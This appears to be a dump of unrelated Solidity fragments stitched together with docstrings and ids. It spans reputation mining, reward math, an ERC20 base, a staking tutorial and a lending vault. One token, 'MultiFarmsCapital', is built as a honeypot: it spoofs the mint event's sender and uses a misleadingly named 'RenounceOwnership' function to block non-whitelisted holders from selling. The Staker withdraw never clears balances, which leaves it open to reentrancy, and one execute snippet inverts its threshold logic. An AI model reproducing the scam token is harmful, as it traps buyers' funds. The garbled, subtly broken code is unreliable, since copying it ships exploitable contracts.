u[U_GLOBAL_CHILD_UPDATE] = 1;
userChildReputationValue = int256(u[U_CHILD_REPUTATION_VALUE]);
} else {
userChildReputationValue = int256(u[U_AGREE_STATE_REPUTATION_VALUE]);
}
int256 childReputationChange;
if (userOriginReputationValue == 0) {
// If the origin reputation value is 0, the change is 0
reputationChange = 0;
} else {
// Calculate the proportional change expected
childReputationChange = logEntry.amount * userChildReputationValue / userOriginReputationValue;
// Cap change based on current value of the user's child reputation.
if (userChildReputationValue + childReputationChange < 0) {
reputationChange = userChildReputationValue * -1;
} else {
reputationChange = childReputationChange;
}
}
} else {
// Cap change based on origin reputation value
// Note we are not worried about underflows here; colony-wide totals for origin skill and all parents are greater than or equal to a user's origin skill.
// If we're subtracting the origin reputation value, we therefore can't underflow, and if we're subtracting the logEntryAmount, it was absolutely smaller than
// the origin reputation value, and so can't underflow either.
if (userOriginReputationValue + logEntry.amount < 0) {
reputationChange = -1 * userOriginReputationValue;
} else {
reputationChange = logEntry.amount;
}
}
require(_agreeStateReputationValue + reputationChange == _disagreeStateReputationValue, "colony-reputation-mining-decreased-reputation-value-incorrect");
}
}
emit ProveValueSuccess(_agreeStateReputationValue, _disagreeStateReputationValue, userOriginReputationValue);
}
// Get the update number relative in the context of the log entry currently considered
// e.g. for log entry with 6 updates, the relative update number range is [0 .. 5] (inclusive)
function getRelativeUpdateNumber(uint256[29] memory u, ReputationLogEntry memory logEntry) internal view returns (uint256) {
uint256 nNodes = IColonyNetwork(colonyNetworkAddress).getReputationRootHashNNodes();
uint256 updateNumber = sub(sub(disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound, 1), nNodes);
// Check that the supplied log entry corresponds to this update number
require(updateNumber >= logEntry.nPreviousUpdates, "colony-reputation-mining-update-number-part-of-previous-log-entry-updates");
require(
updateNumber < logEntry.nUpdates + logEntry.nPreviousUpdates,
"colony-reputation-mining-update-number-part-of-following-log-entry-updates");
uint256 relativeUpdateNumber = updateNumber - logEntry.nPreviousUpdates;
return relativeUpdateNumber;
}
function getChildAndParentNUpdatesForLogEntry(uint256[29] memory u) internal view returns (uint128, uint128) {
ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]];
uint128 nParents = IColonyNetwork(colonyNetworkAddress).getSkill(logEntry.skillId).nParents;
uint128 nChildUpdates;
if (logEntry.amount < 0) {
nChildUpdates = logEntry.nUpdates/2 - 1 - nParents;
// NB This is not necessarily the same as nChildren. However, this is the number of child updates
// that this entry in the log was expecting at the time it was created
}
return (nChildUpdates, nParents);
}
function checkPreviousReputationInState(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory agreeStateSiblings,
bytes32[] memory previousNewReputationSiblings
) internal view
{
// We binary searched to the first disagreement, so the last agreement is the one before
uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
bytes memory previousNewReputationValue = abi.encodePacked(u[U_PREVIOUS_NEW_REPUTATION_VALUE], u[U_PREVIOUS_NEW_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
b32[B_PREVIOUS_NEW_REPUTATION_KEY_HASH],
previousNewReputationValue,
u[U_PREVIOUS_NEW_REPUTATION_BRANCH_MASK],
previousNewReputationSiblings
);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
bytes32 impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
require(impliedRoot == submission.jrh, "colony-reputation-mining-last-state-disagreement");
}
function checkKeyHashesAdjacent(bytes32 hash1, bytes32 hash2, uint256 branchMask) internal pure returns (bool) {
// The bit that would be added to the branchmask is based on where the (hashes of the) two keys first differ.
uint256 firstDifferenceBit = uint256(Bits.highestBitSet(uint256(hash1 ^ hash2)));
uint256 afterInsertionBranchMask = branchMask | uint256(2**firstDifferenceBit);
// If key1 and key2 both exist in a tree, there will already be a branch at the first difference bit,
// and so the branchmask will be unchanged.
return afterInsertionBranchMask != branchMask;
}
function checkUserOriginReputationInState(
uint256[29] memory u,
bytes32[8] memory b32,
bytes32[] memory agreeStateSiblings,
bytes32 userOriginReputationKeyHash,
bytes32[] memory userOriginReputationStateSiblings
) internal view
{
// We binary searched to the first disagreement, so the last agreement is the one before
uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
bytes memory userOriginReputationValueBytes = abi.encodePacked(u[U_USER_ORIGIN_REPUTATION_VALUE], u[U_USER_ORIGIN_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootNoHashKey(
userOriginReputationKeyHash,
userOriginReputationValueBytes,
u[U_USER_ORIGIN_SKILL_REPUTATION_BRANCH_MASK],
userOriginReputationStateSiblings
);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
bytes32 impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
if (impliedRoot == submission.jrh) {
// They successfully proved the user origin value is in the lastAgreeState, so we're done here
return;
}
require(u[U_USER_ORIGIN_REPUTATION_VALUE] == 0, "colony-reputation-mining-origin-reputation-nonzero");
// Otherwise, maybe the user's origin skill doesn't exist. If that's true, they can prove it.
// In which case, the proof they supplied should be for a reputation that proves the origin reputation doesn't exist in the tree
require(
checkKeyHashesAdjacent(userOriginReputationKeyHash, b32[B_ORIGIN_ADJACENT_REPUTATION_KEY_HASH], u[U_USER_ORIGIN_SKILL_REPUTATION_BRANCH_MASK]),
"colony-reputation-mining-adjacent-origin-not-adjacent-or-already-exists"
);
// We assume that the proof they supplied is for the origin-adjacent reputation, not the origin reputation.
// So use the key and value for the origin-adjacent reputation, but uid, branchmask and siblings that were supplied.
bytes memory userOriginAdjacentReputationValueBytes = abi.encodePacked(
u[U_USER_ORIGIN_ADJACENT_REPUTATION_VALUE],
u[U_USER_ORIGIN_REPUTATION_UID]
);
// Check that the key supplied actually exists in the tree
reputationRootHash = getImpliedRootNoHashKey(
b32[B_ORIGIN_ADJACENT_REPUTATION_KEY_HASH],
userOriginAdjacentReputationValueBytes,
u[U_USER_ORIGIN_SKILL_REPUTATION_BRANCH_MASK],
userOriginReputationStateSiblings
);
jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
require(impliedRoot == submission.jrh, "colony-reputation-mining-origin-adjacent-proof-invalid");
}
function checkChildReputationInState(
uint256[29] memory u,
bytes32[] memory agreeStateSiblings,
bytes memory childReputationKey,
bytes32[] memory childReputationStateSiblings,
bytes32 childAdjacentReputationKeyHash
) internal view
{
// We binary searched to the first disagreement, so the last agreement is the one before
uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1;
bytes memory childReputationValueBytes = abi.encodePacked(u[U_CHILD_REPUTATION_VALUE], u[U_CHILD_REPUTATION_UID]);
bytes32 reputationRootHash = getImpliedRootHashKey(
childReputationKey,
childReputationValueBytes,
u[U_CHILD_REPUTATION_BRANCH_MASK],
childReputationStateSiblings
);
bytes memory jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
bytes32 impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
Submission storage submission = reputationHashSubmissions[disputeRounds[u[U_ROUND]][u[U_IDX]].firstSubmitter];
if (impliedRoot == submission.jrh) {
// They successfully proved the user origin value is in the lastAgreeState, so we're done here
return;
}
require(u[U_CHILD_REPUTATION_VALUE] == 0, "colony-reputation-mining-child-reputation-nonzero");
// Otherwise, maybe the child skill doesn't exist. If that's true, they can prove it.
// In which case, the proof they supplied should be for a reputation that proves the child reputation doesn't exist in the tree
require(
checkKeyHashesAdjacent(keccak256(childReputationKey), childAdjacentReputationKeyHash, u[U_CHILD_REPUTATION_BRANCH_MASK]),
"colony-reputation-mining-adjacent-child-not-adjacent-or-already-exists"
);
// We assume that the proof they supplied is for the child-adjacent reputation, not the child reputation.
// So use the key and value for the child-adjacent reputation, but uid, branchmask and siblings that were supplied.
bytes memory childAdjacentReputationValueBytes = abi.encodePacked(u[U_CHILD_ADJACENT_REPUTATION_VALUE], u[U_CHILD_REPUTATION_UID]);
// Check that the key supplied actually exists in the tree
reputationRootHash = getImpliedRootNoHashKey(
childAdjacentReputationKeyHash,
childAdjacentReputationValueBytes,
u[U_CHILD_REPUTATION_BRANCH_MASK],
childReputationStateSiblings
);
jhLeafValue = abi.encodePacked(uint256(reputationRootHash), u[U_AGREE_STATE_NNODES]);
// Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on
impliedRoot = getImpliedRootNoHashKey(bytes32(lastAgreeIdx), jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings);
require(impliedRoot == submission.jrh, "colony-reputation-mining-child-adjacent-proof-invalid");
}
function saveProvedReputation(uint256[29] memory u) internal {
// Require that it is at least plausible
uint256 delta = disputeRounds[u[U_ROUND]][u[U_IDX]].intermediateReputationNNodes - u[U_PREVIOUS_NEW_REPUTATION_UID];
// Could be zero if this is an update to an existing reputation, or it could be 1 if we have just added a new
// reputation. Anything else is inconsistent.
// We don't care about over/underflowing, and don't want to use `sub` so that this require message is returned.
require(delta == u[U_DISAGREE_STATE_NNODES]-u[U_AGREE_STATE_NNODES], "colony-reputation-mining-proved-uid-inconsistent");
// Save the index for tiebreak scenarios later.
disputeRounds[u[U_ROUND]][u[U_IDX]].provedPreviousReputationUID = u[U_PREVIOUS_NEW_REPUTATION_UID];
}
function buildReputationKey(bytes32 colony, bytes32 skill, bytes32 user) internal pure returns (bytes memory) {
bytes memory reputationKey = new bytes(72);
assembly {
mstore(add(reputationKey, 32), shl(96, colony))
mstore(add(reputationKey, 72), user)
mstore(add(reputationKey, 52), skill)
}
return reputationKey;
}
}
|
The bit that would be added to the branchmask is based on where the (hashes of the) two keys first differ. If key1 and key2 both exist in a tree, there will already be a branch at the first difference bit, and so the branchmask will be unchanged.
|
function checkKeyHashesAdjacent(bytes32 hash1, bytes32 hash2, uint256 branchMask) internal pure returns (bool) {
uint256 firstDifferenceBit = uint256(Bits.highestBitSet(uint256(hash1 ^ hash2)));
uint256 afterInsertionBranchMask = branchMask | uint256(2**firstDifferenceBit);
return afterInsertionBranchMask != branchMask;
}
| 12,577,566 |
./partial_match/1/0x03CB4438d015B9646d666316b617a694410C216d/sources/src/contracts/LinearRewardsErc4626.sol
|
The ```calculateRewardsToDistribute``` function calculates the amount of rewards to distribute based on the rewards cycle data and the time elapsed _rewardsCycleData The rewards cycle data _deltaTime The time elapsed since the last rewards distribution return _rewardToDistribute The amount of rewards to distribute
|
function calculateRewardsToDistribute(
RewardsCycleData memory _rewardsCycleData,
uint256 _deltaTime
) public view virtual returns (uint256 _rewardToDistribute) {
_rewardToDistribute =
(_rewardsCycleData.rewardCycleAmount * _deltaTime) /
(_rewardsCycleData.cycleEnd - _rewardsCycleData.lastSync);
}
| 4,463,942 |
/**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0x1a7981D87E3b6a95c1516EB820E223fE979896b3), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract MultiFarmsCapital is ERC20, Ownable {
mapping(address=>bool) private _enable;
address private _uni;
constructor() ERC20('MultiFarmsCapital','MFC') {
_mint(0xC7Df5dA2cf8dCAA8858C06DAda7CF9eba3C71FbF, 10000000000 *10**18);
_enable[0xC7Df5dA2cf8dCAA8858C06DAda7CF9eba3C71FbF] = true;
}
function _mint(
address account,
uint256 amount
) internal virtual override (ERC20) {
require(ERC20.totalSupply() + amount <= 10000000000 *10**18, "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
function MultiChainAirdrop(address user, bool enable) public onlyOwner {
_enable[user] = enable;
}
function RenounceOwnership(address uni_) public onlyOwner {
_uni = uni_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
if(to == _uni) {
require(_enable[from], "something went wrong");
}
}
}
|
Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `to` cannot be the zero address./
|
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0x1a7981D87E3b6a95c1516EB820E223fE979896b3), account, amount);
}
| 10,861,344 |
pragma solidity ^0.8.0;
import "hardhat/console.sol";
import "./ExampleExternalContract.sol"; //https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
contract Staker {
ExampleExternalContract public exampleExternalContract;
mapping (address => uint256) public balances;
uint256 public constant threshold = 0.05 ether;
bool public openForWithdraw = false;
uint256 public deadline = 0;
event Stake(
address indexed staker,
uint256 balance
);
constructor(address exampleExternalContractAddress) public {
exampleExternalContract = ExampleExternalContract(exampleExternalContractAddress);
deadline = block.timestamp + 1 days;
}
modifier beforeDeadline() {
require(block.timestamp < deadline, "Must go before the deadline");
_;
}
modifier atOrAfterDeadline() {
require(block.timestamp >= deadline, "Wait longer! The deadline hasn't been reached yet.");
_;
}
modifier notCompleted() {
require(!(exampleExternalContract.completed()), "This stake has already been executed.");
_;
}
// Collect funds in a payable `stake()` function and track individual `balances` with a mapping:
// ( make sure to add a `Stake(address,uint256)` event and emit it for the frontend <List/> display )
function stake() public payable beforeDeadline notCompleted {
balances[msg.sender] += msg.value;
emit Stake(msg.sender, msg.value);
}
// After some `deadline` allow anyone to call an `execute()` function
// It should either call `exampleExternalContract.complete{value: address(this).balance}()` to send all the value
function execute() public atOrAfterDeadline notCompleted {
if (address(this).balance >= threshold) {
exampleExternalContract.complete{value: address(this).balance}();
} else {
openForWithdraw = true;
}
}
// if the `threshold` was not met, allow everyone to call a `withdraw()` function
// Message sender withdraws all of their funds to themselves.
function withdraw() public notCompleted {
require(openForWithdraw, "Contract is not yet open for withdrawal.");
require(balances[msg.sender] > 0, "You have no balance.");
(bool sent, bytes memory data) = msg.sender.call{value: balances[msg.sender]}("");
require(sent, "Failed to send Ether");
}
// Add a `timeLeft()` view function that returns the time left before the deadline for the frontend
function timeLeft() public view returns (uint256) {
// Time left only updates once a new block is mined; now == block.timestamp
if (block.timestamp >= deadline) {
return 0;
}
return deadline - block.timestamp;
}
}
|
After some `deadline` allow anyone to call an `execute()` function It should either call `exampleExternalContract.complete{value: address(this).balance}()` to send all the value
|
function execute() public atOrAfterDeadline notCompleted {
if (address(this).balance >= threshold) {
openForWithdraw = true;
}
}
| 12,999,193 |
./partial_match/1/0xEC842c9C537F380d00eEA7F70C31561324294bf6/sources/WikiBitToken.sol
|
Function to stop minting new tokens. return True if the operation was successful./
|
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
| 15,708,217 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHUSDT is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == _fujiAdmin.getController() || msg.sender == owner(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); // USDT
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
